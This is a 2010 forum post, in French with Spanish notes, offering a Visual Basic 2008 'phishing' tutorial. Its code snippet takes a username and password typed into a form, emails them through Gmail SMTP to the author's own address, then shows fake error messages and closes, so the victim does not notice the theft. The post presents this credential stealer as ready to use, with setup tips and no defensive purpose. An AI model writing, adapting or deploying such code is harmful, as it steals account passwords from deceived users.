Underc0de

Programación General => Visual Basic => Códigos Fuentes => Mensaje iniciado por: xxcourtry77xx en Mayo 01, 2010, 02:28:03 PM

Título: Visual Basic Phishing By C7 !
Publicado por: xxcourtry77xx en Mayo 01, 2010, 02:28:03 PM
Hello, I'm french please translate the page in spanish with Google translate From: French To: Spanish =)!


Bonjour voile le tuto pour crée un phishing avec visual basic 2008 (vb 2008):

Le code:



Código (vb) [Seleccionar]
        If TextBox1.Text = "" Then
            MsgBox("Votre message")
            If TextBox2.Text = "" Then
                MsgBox("Votre message")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Adresse gmail", "Votre mot de passe gmail")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Adresse gmail")
        mail.To.Add("Adresse gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "ID: " & TextBox1.Text & ", " & "Passwort: " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Votre message.......")
        MsgBox(".Votre message.....")
        MsgBox("Votre message d'erreur ou sinon changer critical", MsgBoxStyle.Critical)
        Me.Close()




Habrá error, por favor vaya con el cursor (mouse) en el primer error en la última carta (No haga clic!) Un círculo con una! aparecen de color rojo, haga clic en él y elija la primera opción!

Surtout utiliser un compte gmail !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  /!\

Para mas informacion contactar a : [email protected]

Traducido por el mod.